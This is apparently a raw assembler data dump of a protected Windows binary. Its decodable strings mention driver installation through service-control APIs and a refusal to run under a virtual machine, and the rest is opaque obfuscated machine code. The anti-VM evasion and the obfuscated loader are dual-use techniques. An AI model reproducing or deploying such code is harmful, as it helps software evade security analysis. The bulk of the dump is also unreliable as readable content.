726576h, 45746547h, 7269766Eh dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0) dd 10000000h, 0 dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0 dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah dd 21h dup(0) dd 8B000000h, 0A58D33C4h, 8909350Eh, 352D0D85h, 8D03F509h dd 9350C99h, 8B66C08Bh, 0A1BD83C8h, 93526h, 0BD830975h dd 9353079h, 50197400h, 0B8C08B53h, 43Dh, 2AC18589h, 9D8D0935h dd 937B438h, 585BD3FFh, 3079BD83h, 74000935h, 0B8535017h dd 43Dh, 2AC18589h, 9D8D0935h, 937B127h, 585BD3FFh, 1DF59D01h dd 8D8B0935h, 93504D1h, 0C08BC08Bh, 26A1BD83h, 75000935h dd 79BD8309h, 93530h, 53501374h, 0B8C08Bh, 8D000000h, 37B2DA9Dh dd 5BD3FF09h, 79BD8358h, 93530h, 53501174h, 0B8h, 8B9D8D00h dd 0FF0937B1h, 8B585BD3h, 0A1BD89FBh, 29093517h, 352E4985h dd 89C08B09h, 3524259Dh, 0E9C08B09h, 12h, 0D42D738Dh, 6363A5C3h dd 200DBB01h, 20ED1585h, 0BD83E2A5h, 93526A1h, 83097500h dd 353079BDh, 13740009h, 0C08B5350h, 0B8h, 0C9D8D00h, 0FF0937B2h dd 83585BD3h, 353079BDh, 11740009h, 0B85350h, 8D000000h dd 37B1599Dh, 5BD3FF09h, 0BDBD8B58h, 2909352Fh, 35065D85h dd 45958909h, 8B09351Ch, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 724A8475h, 2C2DBD8Bh dd 0C08B0935h, 0BD83D08Bh, 93526A1h, 83097500h, 353079BDh dd 13740009h, 0C08B5350h, 0B8h, 739D8D00h, 0FF0937B2h dd 83585BD3h, 353079BDh, 11740009h, 0B85350h, 8D000000h dd 37B1729Dh, 5BD3FF09h, 1076BF58h, 6A2DF6h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 9D8901C3h dd 93527F1h, 8166C08Bh, 8B31ECC2h, 5D9D89C0h, 83093526h dd 3526A1BDh, 9750009h, 3079BD83h, 74000935h, 8B535013h dd 0B8C0h, 9D8D0000h, 937B1A5h, 585BD3FFh, 8BFABF0Fh, 3502E1BDh dd 0FCC08B09h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 8D8B5FC3h, 93500C9h, 26A1BD83h dd 75000935h, 79BD8309h, 93530h, 53501974h, 0D0B8C08Bh dd 89000007h, 352AC185h, 389D8D09h, 0FF0937B4h, 83585BD3h dd 353079BDh, 17740009h, 0D0B85350h, 89000007h, 352AC185h dd 279D8D09h, 0FF0937B1h, 0E9585BD3h, 9, 28FB8F8Eh, 6946BAE4h dd 0C195BFA8h, 8D8B2AAAh, 9350E25h, 0BD33C08Bh, 93526D5h dd 179D85C6h, 51530935h, 6859D38Bh, 99395F90h, 24F5B529h dd 6E90935h, 89000000h, 0B471A916h, 0C9B5FF80h, 0B209350Eh dd 98858D39h, 6A093538h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0A6F5C357h, 8BD97C35h dd 3503F595h, 66D0FF09h, 8589FA8Bh, 9350D05h, 96CA8166h dd 0F733BA61h, 85C61BD0h, 935179Dh, 0FA18BF57h, 6687DB3h dd 52900452h, 2C6D8589h, 0FF5A0935h, 350EC9B5h, 3ED2BF09h dd 858D1F00h, 9353898h, 65EC2CBFh, 66D0FF51h, 898635B9h dd 352EB985h, 0EE909h, 5E980000h, 7E623A26h, 9F5F17B4h dd 0BE5DC8CCh, 179D85C6h, 6A430935h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 6CFDC355h dd 682A7DC8h, 0BC907028h, 0FFCE8B66h, 350EC9B5h, 50006A09h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 710C21AEh, 0F28166A1h, 858DD1D3h, 9353898h, 37DBD8Bh dd 81660935h, 0FF427BD2h, 0CFB70FD0h, 0C818589h, 0F1810935h dd 6DD2A3A6h, 179D85C6h, 8B4C0935h, 35248595h, 1CE96809h dd 0BD03D9DAh, 9352D4Dh, 0FFCFC580h, 350EC9B5h, 0DBA0B909h dd 8B537DDFh, 350F2DBDh, 858D5F09h, 9353898h, 0EE856h dd 0B8B90000h, 257BF01Ah, 6C107479h, 0DB0F05CDh, 5A5FA2B1h dd 0DF81D0FFh, 27B24F1Eh, 11198589h, 14E80935h, 0DF000000h dd 0AA1C3DB5h, 15E23225h, 7C867EA4h, 0AC5FAE00h, 5AA6CE15h dd 1BFD8589h, 85C60935h, 935179Dh, 0CBB70F46h, 0DE061468h dd 0A7C181BAh, 0FF6C908Dh, 350EC9B5h, 0A3D18009h, 3898858Dh dd 0D0FF0935h, 458589F8h, 6A093501h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0FA18C350h dd 6316F3AAh, 8C0F1E8Ah, 6, 10798D8Bh, 85C60935h, 935179Dh dd 57006A47h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 49B13DC8h, 0FB45B6Dh, 68Ch, 17F78100h, 6679961Bh dd 423BC781h, 0FB5E268h, 57006A8Ah, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0A957F6B4h, 82E5A860h dd 0DACA8166h, 0C9B5FFEDh, 0E909350Eh, 0Dh, 736E458Ah dd 3B5FD3C4h, 9BDEE982h, 98858D14h, 0E8093538h, 12h, 8A7F013Fh dd 7B110D12h, 5300B754h, 0CBB785CAh, 14E9D56Dh, 0FA000000h dd 38420937h, 4911CB6Bh, 0F841678Dh, 0D2376DADh, 5A5E826Eh dd 0DDBFD0FFh, 666C3387h, 89FEDFB9h, 352A8585h, 85C6FC09h dd 935179Dh, 75958B47h, 6809350Bh, 83D0B5F3h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F6C35747h, 44BE2D0Dh dd 8E9h, 0ACAC2800h, 2FAFAED0h, 0C9B5FF29h, 8B09350Eh dd 98858DD6h, 8A093538h, 81D0FFF7h, 232049F2h, 0CFB70F3Ch dd 11E18589h, 0F5600935h, 61C7B70Fh, 179D85C6h, 66770935h dd 68AB27BFh, 0F397A8A3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 12C35747h, 0AA7D8B0h, 7DB5FF1Bh, 6A093505h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 9831C353h, 0F7B75156h, 3A0662F2h, 0D981D18Bh dd 346E1E57h, 3898858Dh, 8D8B0935h, 9350A5Dh, 0F2BFD0FFh dd 8916C8E8h, 35275985h, 0F98D8909h, 0C609351Ch, 35179D85h dd 6A4709h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0AC5988C3h, 80CD304Fh, 0F6680DCAh, 818728FAh dd 0B44DCEE1h, 0C9B5FF15h, 6609350Eh, 0BDA1EA81h, 3898858Dh dd 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 601969C3h, 261D9D89h, 81660935h, 61D81DC0h dd 0FD9950Bh, 0D0FF0935h, 0FD1BF0Fh, 68Eh, 18D2900h, 89093528h dd 352CC585h, 0C66DB609h, 35179D85h, 820F4309h, 13h, 0EE9h dd 64C14800h, 6047B113h, 405A6366h, 6827CEC4h, 0BC8E6EFCh dd 28659523h, 0B5FF0935h, 9350EC9h, 8BF9BF0Fh, 350EB18Dh dd 98858D09h, 0BF093538h, 2C2FFCDAh, 2FC58D8Bh, 0D0FF0935h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 45C35545h dd 858501A7h, 89093527h, 35244185h, 65E28109h, 8B421B5Eh dd 352FBDBDh, 9D85C609h, 45093517h, 69683EB5h, 0BF8E7269h dd 5274A501h, 27458589h, 0B5FF0935h, 9350EC9h, 8A0Fh, 858D0000h dd 9353898h, 0F39ED281h, 0D0FF5279h, 0DE9h, 33CC5800h dd 0AA07CA65h, 0ECF4C7Eh, 89F953F2h, 351AC985h, 0F8BF0F09h dd 179D85C6h, 89440935h, 351C79B5h, 0EC646809h, 9503B8F2h dd 9352831h, 0EC9B5FFh, 85890935h, 9352809h, 3898858Dh dd 8B600935h, 352389BDh, 13E909h, 0E2B60000h, 0D1DC80B1h dd 6F9248Fh, 0B0F2ADC7h, 8F324078h, 0D0FF617Fh dd 0CF1BD8Bh, 85890935h, 935117Dh, 61606056h, 1169958Bh dd 59610935h, 1B6D9D89h, 85C60935h, 935179Dh, 50006A43h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 6E03D5D9h, 93E90141h, 11E9h, 9E01FC00h, 5578CB04h, 34E5628Bh dd 0FD125AC5h, 0C4BAFECEh, 682402FCh, 0C0764AA7h, 1B60B966h dd 0EC9B5FFh, 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 1250E9C3h, 0B60C2ABh, 8DFBBF0Fh dd 35389885h, 91B52909h, 66093510h, 0FFD797BFh, 5E8D0h dd 9C620000h, 590BA410h, 2CE58589h, 6A0935h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 7296B2C3h dd 8F4FD11Ch, 0CA8166B2h, 0BD806170h, 938014Eh, 75840F00h dd 29000000h, 351EBD9Dh, 30858D09h, 50093801h, 0FE9h, 0A568B100h dd 0DB39DDBAh, 0EAFEC251h, 8486D6B6h, 0B70F016Ah, 33006AC9h dd 350BD5BDh, 89006A09h, 35052D8Dh, 8195FF09h, 0B09350Ch dd 352F3DBDh, 0D9858909h, 0F09352Ah, 0FF6ACAB7h, 891CDA80h dd 35249595h, 0D9B5FF09h, 5309352Ah, 0F5A5A56h, 68Bh, 21B53100h dd 0FF09350Ah, 352EB995h, 0FB8B6609h, 8B66C08Bh, 0A1BD83CEh dd 93526h, 0BD830975h, 9353079h, 50197400h, 0B8C08B53h dd 7D1h, 2AC18589h, 9D8D0935h, 937B438h, 585BD3FFh, 3079BD83h dd 74000935h, 0B8535017h, 7D1h, 2AC18589h, 9D8D0935h, 937B127h dd 585BD3FFh, 9531D18Bh, 9352981h, 9589C08Bh, 9352C6Dh dd 179D85C6h, 68470935h, 93C8F7C1h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 43C35141h, 3496F00h, 0B5FFA8B5h dd 9350EC9h, 858DF78Ah, 9353898h, 0B959D89h, 0D0FF0935h dd 6A50F8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 8960A8C3h, 352FBD9Dh, 8961F909h, 3523B99Dh dd 71858D09h, 0E9093805h, 8, 0A54E331Fh, 43F45940h, 9400C7h dd 8D8B0000h, 9352C6Dh, 0D7816658h, 0B58DA33Ah, 9380571h dd 5658589h, 1560935h, 350811BDh, 8BD0FF09h, 3500758Dh dd 71858D09h, 6A093805h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 52F5C355h, 0BEE781E6h dd 83584457h, 0F060478h, 2F85h, 13E95700h, 0EC000000h dd 0FBA50BDDh, 0ECD2FD4Eh, 0C3290B61h, 3F4C4EA8h, 815AD1B6h dd 9753E7D9h, 585C73Dh, 1093806h, 0BA000000h, 221DBD61h dd 1189BD83h, 0F000935h, 6D85h, 0B98D8900h, 0E9093512h dd 12h, 4BF87FBFh, 2495CB1Fh, 95DA318Fh, 36B301Dh, 0BD836D24h dd 9380605h, 43850F00h, 0F000000h, 0BD83F9B7h, 9350539h dd 33840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 80E2C355h, 0FE8B4ECAh dd 85C7D18Bh, 9350021h, 0 dd 0E418501h, 8C660935h, 9E9FCDBh, 3D000000h, 213E4135h dd 22706DBCh, 0F04C3F6h, 4C684h, 7E900h, 0D4150000h, 4A2EF20Bh dd 1985C7C4h, 9351Ch, 23000000h, 3525EDBDh, 80FA8B09h dd 38015BBDh, 850F0009h, 0Ah, 3D850960h, 8B09350Bh, 85C661F3h dd 935179Dh, 6E86047h, 8E000000h, 5C4CA5C2h, 585B5233h dd 2419958Bh, 68610935h, 0E3E45B86h, 0B0DAEA81h, 0B5FF2C63h dd 9350EC9h, 966CE781h, 858D0DB1h, 9353898h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 72C35141h, 1AE1818Bh dd 0FF76045Fh, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0A86DC4F5h, 0DE9C8h, 9D850000h dd 613DF831h, 36EBAFEAh, 666570A6h, 3E7DF81h, 0FE956h dd 8FED0000h, 0AF4CDE60h, 722809FDh, 0BA5CC5CEh, 4685F0Eh dd 8B000001h, 35272D8Dh, 0D99D8D09h, 89093512h, 35235DBDh dd 74BF5309h, 0FF0AA5CCh, 0B19589D0h, 8D09352Dh, 3512D985h dd 0A99D8909h, 50093527h, 0D858DFCh, 0B1093801h, 8B605078h dd 35005D85h, 0CAB96109h, 8D025499h, 37F7E085h, 9E85009h dd 76000000h, 0DABA5001h, 129C4440h, 0CABF0F53h, 8A0F5A59h dd 6, 2BC5950Bh, 95FF0935h, 9352759h, 12D5952Bh, 0C4830935h dd 0C8B70F0Ch, 8068006Ah, 6A000000h, 6A006A03h, 6800h dd 858D8000h, 937F7E0h, 4195FF50h, 89093524h, 3800F085h dd 9D85C609h, 47093517h, 0B15E8768h, 0C9B5FFC7h, 8D09350Eh dd 35389885h, 6AD0FF09h, 0F0B5FF00h, 0FF093800h, 880FF9D0h dd 13h, 5E860h, 2ABA0000h, 5A93C264h, 50F8E081h, 3D615CE8h dd 37D0h, 46830Fh, 0BD8B0000h, 9350329h, 0F0B5FFh, 0CA8B0938h dd 2CE595FFh, 6A0935h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 104F0CC3h, 0C75646B1h, 8BAC51FDh dd 0C6E9D7h, 958B0000h, 9352F25h, 0F0B5FFh, 6A0938h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0FB5F93C3h, 6D1958Bh, 12E90935h, 38000000h, 2849F27Ch dd 0AB2ED5B2h, 0C1EE25DEh, 0D7E8DA52h, 0E595FFE9h, 6609352Ch dd 6AD268BFh, 9D895200h, 935003Dh, 8B006A5Ah, 99958BCEh dd 6A09350Dh, 880F6000h, 2, 0BD015B50h, 9351F15h, 19BD0161h dd 6A093524h, 6A60B200h, 0BDB53100h, 8109352Fh, 57E9C4DFh dd 8B006A0Ch, 352EB195h, 0F4858D09h, 89093800h, 351611B5h dd 2EDF8109h, 50702FD2h, 2239958Bh, 95FF0935h, 9352441h dd 0F883CE8Bh, 39850FFFh, 66000001h, 7AED181h, 0BC80858Dh dd 0CB8B0937h, 5BB1D0FFh, 7FCF8166h, 89006AB2h, 3504718Dh dd 2890F09h, 8B000000h, 23006ACAh, 3507ED8Dh, 8B006A09h dd 3513E195h, 51006A09h, 1EA5BD89h, 0E95F0935h, 11h, 48201A48h dd 3A9EFF1Eh, 46BCE42Ah, 0C57D058Bh, 0E9006A09h, 11h, 23857E15h dd 1503AA6Ah, 0F3275EFBh, 0C82D1F9Dh, 0F58D8934h, 6A09351Ch dd 0AE900h, 7FA00000h, 6156E8D3h, 8AE8F74Dh, 0F4858Dh dd 8B660938h, 958B50D1h, 93505DDh, 244195FFh, 6A0935h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 245D9EC3h, 471BC5D7h, 0BF66893Ah, 8166C7E9h, 83FD97D9h dd 850FFFF8h, 68h, 8DD1B70Fh, 37FAFCB5h, 5800F09h, 66000000h dd 6C91D781h, 0A719858Dh, 0BA600937h, 77EA2F6Dh, 61C9B70Fh dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0D5784BC3h, 7F1994DCh, 0F9B3852h, 687h, 0E1BD8B00h dd 6A093528h, 0A1B96600h, 0C995FF46h, 6609351Ah, 1AB3C281h dd 0F08589h, 6A0938h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 6939EBC3h, 8D8BB969h, 9352685h dd 8D8B006Ah, 9350649h, 0E8858Dh, 0BD8B0938h, 9350065h dd 4CBB950h, 46A2CFCh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0A5C35040h, 47231031h, 8D0512F2h, 350C0585h dd 8D8B5009h, 9351689h, 820F006Ah, 3, 81CB8B66h, 0F48A7CF1h dd 0F006A58h, 58Ah, 0F70EB900h, 16A769Fh, 469D781h, 0B5FF2E30h dd 93800F0h, 91B3BF66h, 117D95FFh, 16BA0935h, 0E94B449Ah dd 1BBFh, 8BCB8B66h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0A9C107C7h, 0B86660BAh dd 8D0B4BD4h, 935228Dh, 0A1BD8361h, 93526h, 0BD830975h dd 9353079h, 50197400h, 0B8C08B53h, 7D2h, 2AC18589h, 9D8D0935h dd 937B438h, 585BD3FFh, 3079BD83h, 74000935h, 0B8535017h dd 7D2h, 2AC18589h, 9D8D0935h, 937B127h, 585BD3FFh, 1B39950Bh dd 0D7B60935h, 85C7C08Bh, 9351C19h, 1, 0B8682AB1h, 0FFCEE4E7h dd 352621B5h, 98858D09h, 0FF093538h, 8D8589D0h, 68093506h dd 0C005DBD4h, 2621B5FFh, 858D0935h, 9353898h, 8589D0FFh dd 9351EFDh, 0F599858Dh, 0FF500937h, 350EC9B5h, 8595FF09h dd 0B09352Ah, 8B0B74C0h, 4C858DD8h, 50093805h, 858DD3FFh dd 938054Ch, 9388366h, 85C70A75h, 93523CDh, 1, 2CC595FFh dd 0FF250935h, 83000000h, 0A7305F8h, 69585C7h, 10935h dd 95330000h, 9350F1Dh, 6007C280h, 0FD38C781h, 8E86796h dd 9D000000h, 380D630Fh, 5ED4BF5Ch, 5BBD8061h, 93801h dd 1A850Fh, 0F8600000h, 0D18061FCh, 1A71E9A8h, 9E90000h dd 0B7000000h, 0E082D050h, 3028879Ah, 23CDBD83h, 0F000935h dd 13385h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 25858D5Bh, 66093801h, 50CDC2B9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 1EC35141h dd 8A8AFFAAh, 0A98D8BD7h, 6A093522h, 0CFCD8001h, 8160006Ah dd 0B43B56E7h, 0B9858B78h, 6109352Ch, 8960006Ah, 3526E585h dd 8E809h, 90890000h, 27FAFF5Ah, 0B509712Fh, 9352EE5h dd 95FF6158h, 9350C81h, 1AFDB589h, 85890935h, 938014Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 59C35343h dd 0ECDBD8Bh, 0FF6A0935h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 47C35343h, 6159D89h, 0B5FF0935h, 938014Fh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 68C35545h dd 0CFA4840Fh, 61958BD6h, 0FF09351Dh, 352EB995h, 55006A09h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 6B661813h, 958B3CA9h, 935051Dh, 0F560858Dh, 0BD890937h dd 9351115h, 8E950h, 0EE2C0000h, 42086EAh, 95FF66E5h, 9351119h dd 21D5BD8Bh, 85890935h, 937F5EAh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 41C35141h, 1275159Dh, 7181579Eh dd 12E9h, 83A89E00h, 307459C0h, 855732F8h, 0DBB8B0B2h dd 8A9C1FC6h, 6D858DEAh, 0F90937F5h, 0B5FFF850h, 937F5EAh dd 64485CBAh, 0CA816061h dd 68D81F79h, 51B8E8BAh, 95FF610Ah, 9352A85h, 2F598589h dd 858D0935h, 937F5DBh, 0F50CB8Bh, 0EA80C8BFh, 0EAB5FF98h dd 0F0937F5h, 684h, 0B18D8900h, 0FF093512h, 352A8595h dd 0CE8B6609h, 0F5FE8589h, 8DF50937h, 37F5BA85h, 51006A09h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0ACF80A72h, 93EA5DDCh, 6880F0Dh, 2B000000h, 351B8D8Dh dd 8D8B5009h, 9352BBDh, 0AC19D31h, 0B5FF0935h, 937F5EAh dd 0FE9h, 0E1BB6500h, 7B77AD4Ah, 62834242h, 1D63DFADh dd 2A8595FFh, 0F560935h, 0B80h, 6E900h, 449E0000h, 0A7F19862h dd 3D8D0B5Ah, 89093505h, 37F5F685h, 858DF909h, 937F5ADh dd 1519589h, 66500935h, 0FF5C85B9h, 37F5EAB5h, 53006A09h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 870CAF75h, 0BDB1C93Ah, 8595FFF2h, 5009352Ah, 2DC9958Bh dd 665F0935h, 7717DF81h, 0F5FA8589h, 81660937h, 8D367CE1h dd 37F5C885h, 0D0B70F09h, 24519D29h, 0FC500935h, 0F5EAB5FFh dd 0B70F0937h, 8595FFCFh, 8A09352Ah, 718589ECh, 6609352Ch dd 8D5BA7BFh, 37F57C85h, 5FF95209h, 8AF18150h, 80563648h dd 0B5FFD3D1h, 937F5EAh, 85D8589h, 95FF0935h, 9352A85h dd 5598D8Bh, 85890935h, 937F5EEh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 6AC35343h, 8DDB989Ch, 37F58B85h dd 0C9BD8909h, 5009350Dh, 0FFA0E680h, 37F5EAB5h, 0BCBF6609h dd 8595FF54h, 8B09352Ah, 352D9DBDh, 0F2858909h, 6A0937F5h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0EEDBC357h, 0CA2FBADFh, 63A2B9D9h, 4686CB4h dd 0F000001h, 858DCAB7h, 937F682h, 68A0Fh, 0BD010000h dd 9350425h, 55006A50h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 748CE43Ah, 86703185h, 86858D0Eh dd 890937F7h, 35247985h, 6890F09h, 89000000h, 3531EDB5h dd 60605009h, 4C98D09h, 0EC8A0935h, 25BD8B61h, 6109352Fh dd 11E195FFh, 870F0935h, 3, 85FDE280h, 2850FC0h, 0B5000000h dd 5BBD80E4h, 93801h, 1D850Fh, 9E80000h, 0D7000000h, 94557335h dd 6F3806D0h, 5ACB8B66h, 160AE9h, 8D8D8900h, 83093512h dd 3523CDBDh, 850F0009h, 2Eh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 54C35242h, 0E45DDE53h, 5BD8399h dd 93806h, 4D840Fh, 858D0000h, 937F61Fh, 95896050h, 9351169h dd 0A498589h, 5F610935h, 15AEE9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 958B45A1h dd 93511E5h, 1CE9h, 5E900h, 0B44F0000h, 8D6BA8B6h, 37F60A85h dd 5D858909h, 89093525h, 352CADBDh, 6A5009h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 986529C3h dd 0FD50DA2Ah, 0F316CB4h, 682h, 0A18D8B00h, 8B093530h dd 3511798Dh, 82858D09h, 0F0937F6h, 8050FBB7h, 0BD83B2C5h dd 93523CDh, 18840F00h, 0F000000h, 858DD0B7h, 937F7A8h dd 0D8FABA66h, 12E9h, 0ADBD2900h, 8D093504h, 37F79185h dd 5D8D2909h, 5009352Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0CCC35343h, 0E0858DB4h, 810937F7h, 41C272D7h dd 6A5021h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 8EB1E8C3h, 0BF0FD3F2h, 5995FFD2h, 0F093527h dd 1388h, 0AE800h, 0EC3D0000h, 0C402DAh, 0FF662426h, 5AC9BF0Fh dd 6610C483h, 0C08BD08Bh, 26A1BD83h, 75000935h, 79BD8309h dd 93530h, 53501974h, 0D3B8C08Bh, 89000007h, 352AC185h dd 389D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh, 17740009h dd 0D3B85350h, 89000007h, 352AC185h, 279D8D09h, 0FF0937B1h dd 31585BD3h, 35275DB5h, 4850F09h, 66000000h, 8B1571BAh dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0E6904A4h, 18D02664h, 68F0Fh, 958B0000h dd 9350455h, 0F60ABD81h, 726F0937h, 840F6165h, 0B3h, 0F682858Dh dd 8D500937h, 37F7BF85h, 858D5009h, 937F7E0h, 5995FF50h dd 83093527h, 85C60CC4h, 935179Dh, 184F6844h, 0B5FF96A3h dd 9350EC9h, 3898858Dh, 0D0FF0935h, 858DD88Bh, 937F7E0h dd 8DD3FF50h, 37F60A85h, 858D5009h, 937F682h, 0CDBD8350h dd 93523h, 858D0874h, 937F7A8h, 858D06EBh, 937F791h, 0E0858D50h dd 500937F7h, 275995FFh, 0C4830935h, 56006A10h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 8E698402h dd 607A8D5Ah, 619D3160h, 0F093526h, 0F61F7B7h, 58Fh, 0BCE3B800h dd 0FF61616Ch, 352CC595h, 55006A09h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 280E652Fh dd 0FF25FCF5h, 80000000h, 0F883BEE5h, 73830F05h, 0F000000h dd 68Eh, 91958B00h, 0C7093503h, 35069585h, 109h, 818D0100h dd 8D093523h, 37F63E85h, 51006A09h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 865DE0FBh, 0BD8B22B6h dd 9352951h, 58E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 2E66F5D6h, 0BA6672B6h dd 0BD83C604h, 93523CDh, 16840F00h, 0F5000000h, 0F669858Dh dd 0BA660937h, 16E96C88h, 29000000h, 35161995h, 4B858D09h dd 0F0937F6h, 48Fh, 56BA6600h, 7E85891Ah, 0E90937F6h, 12h dd 3CB2D88h, 987063C4h, 0C84E4C4Fh, 0F0BCAE1Fh, 0CE80DEDh dd 7C000000h, 0D69C2863h, 0FCBE151Ch, 2950234Bh, 350675B5h dd 0BD835909h, 93523CDh, 25850F00h, 0F000000h, 68Bh, 35B58900h dd 8309352Bh, 380605BDh, 840F0009h, 16h, 6840Fh, 0F1810000h dd 5AFAEA03h, 11E6E9h, 0D8806000h, 28E96168h, 0F9000004h dd 53BAC08Bh, 6036FE7Fh, 14E8h, 4421D00h, 0EAE8577Fh, 385A2BF0h dd 9EB62253h, 7F6E99D3h, 0D18B6691h, 0BD83615Eh, 93526A1h dd 83097500h, 353079BDh, 19740009h, 0C08B5350h, 7D4B8h dd 0C1858900h, 8D09352Ah, 37B4389Dh, 5BD3FF09h, 79BD8358h dd 93530h, 53501774h, 7D4B8h, 0C1858900h, 8D09352Ah, 37B1279Dh dd 5BD3FF09h, 8122B258h, 543E87D7h, 0C08BF97Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 81C35040h, 0E61F90B4h dd 0F1813226h, 6160304Fh, 0F003F68h, 1A8B0F00h, 0F000000h dd 1489h, 0EE800h, 83050000h, 720FA68Fh, 562944BBh, 0F5A63570h dd 66006A59h, 6AD68Bh, 1B419D01h, 95FF0935h, 9352F59h dd 0E9958B60h, 0F09351Ch, 1088h, 0BE900h, 58BB0000h, 7A743B19h dd 2BE7201Fh, 0C08561F3h, 0E850Fh, 9E90000h, 82000000h dd 316DAFFCh, 4D569CA8h, 